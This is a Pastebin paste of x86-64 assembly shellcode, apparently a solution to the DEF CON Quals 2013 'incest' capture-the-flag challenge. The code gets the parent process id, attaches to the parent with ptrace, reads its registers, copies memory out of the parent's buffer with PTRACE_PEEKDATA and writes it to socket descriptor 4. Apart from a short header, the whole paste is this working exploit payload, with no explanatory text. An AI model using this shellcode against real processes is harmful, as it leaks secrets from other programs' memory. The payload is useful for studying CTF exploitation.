Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. ;
  2. ; Defcon Quals 2013 - incest
  3. ;
  4. ; ptrace parent shellcode for sis
  5. ; by timhsu@chroot.org, June 2013
  6.  
  7. BITS 64
  8. GLOBAL _start
  9. _start:
  10.  
  11.     jmp get_buf         ;
  12.  
  13. run:
  14.  
  15.     pop rsi
  16.     push rsi            ; save buffer address
  17.     push rsi            ; ptr = buffer
  18.     xor rax, rax        ; zero the registers
  19.     xor rdi, rdi
  20.     xor rdx, rdx
  21.     xor rbx, rbx
  22.  
  23.     ; sys_getppid()
  24.     add    rax, 110
  25.     syscall
  26.     mov    rsi, rax     ; get ppid
  27.     push   rsi
  28.     pop    rbx          ; save ppi dto rbx
  29.  
  30. try_attach:
  31.     ; sys_ptrace(request, pid, addr, data);
  32.     ;            rdi    , rsi, rdx, r10
  33.     xor    rax, rax
  34.     add    rax, 101
  35.     xor    rdx, rdx
  36.     ; PTRACE_ATTACH     16
  37.     xor    rdi, rdi
  38.     add    rdi, 16
  39.     syscall
  40.  
  41.     ; wait4(pid, status, opt, rusage)
  42.     ;       rdi  rsi     rdx, r10
  43.  
  44. try_wait:
  45.     xor    rax, rax
  46.     ; NR_wait4 = 61
  47.     add    rax, 61
  48.     mov    rdi, rbx
  49.     xor    rsi, rsi
  50.     xor    rdx, rdx
  51.     xor    r10, r10
  52.     syscall
  53.  
  54. try_getregs:
  55.     mov    rsi, rbx             ; get ppid
  56.     xor    rax, rax
  57.     add    rax, 101
  58.     xor    rdx, rdx
  59.     ;
  60.     ; PTRACE_GETREGS (rdi, rsi, rdx, r10);
  61.     mov    rdi, 12
  62.     pop    r10
  63.     push   r10
  64.     syscall
  65.     mov    rdx, [r10+4*8]       ; get rbp of parent(ppid)
  66.  
  67. try_peektext:
  68.  
  69.     sub    rdx, 0x18            ; from disasm sis,
  70.                                 ; get buffer address of parent
  71.  
  72. do_peektext:
  73.     mov    rsi, rbx             ; get ppid
  74.  
  75.     call   ptrace_peektext
  76.     mov    rdx, [r10]           ; rdx = address
  77.  
  78.     mov    rcx, 10              ; read 10 times
  79.  
  80. again_peektext:
  81.  
  82.     ; PTRACE_PEEKTEXT again => loop for get more data
  83.  
  84.     mov    rsi, rbx
  85.     call   ptrace_peektext
  86.     add    r10, 8               ; ptr+=8
  87.     add    rdx, 8               ; address+=8
  88.     loop   again_peektext
  89.  
  90. dump:
  91.     pop    rsi          ; ptr
  92.     pop    rsi          ; buffer, to dump
  93.  
  94.     ; sys_write(stdout, buffer, length)
  95.  
  96.     xor    rax, rax
  97.     xor    rdx, rdx
  98.     add    rax, 1      ; sys_write
  99.     xor    rdi, rdi
  100.     add    rdi, 4      ; socket = 4
  101.     add    rdx, 80     ; string length
  102.     syscall
  103.  
  104.     ; sys_exit
  105.     xor    rax, rax
  106.     add    rax, 60         ; sys_exit
  107.     syscall
  108.  
  109. ptrace_peektext:
  110.     ; ptrace(rdi, rsi, rdx, r10);
  111.     ; PTRACE_PEEKDATA  0x2
  112.  
  113.     push   rcx
  114.     xor    rax, rax
  115.     xor    rdi, rdi
  116.     mov    rax, 101
  117.     mov    rdi, 2
  118.     syscall
  119.     pop    rcx
  120.     ret
  121.  
  122. get_buf:
  123.     call run            ; put address of buffer onto the stack
  124. buffer:
  125.     db 'AAAAAAAAAA'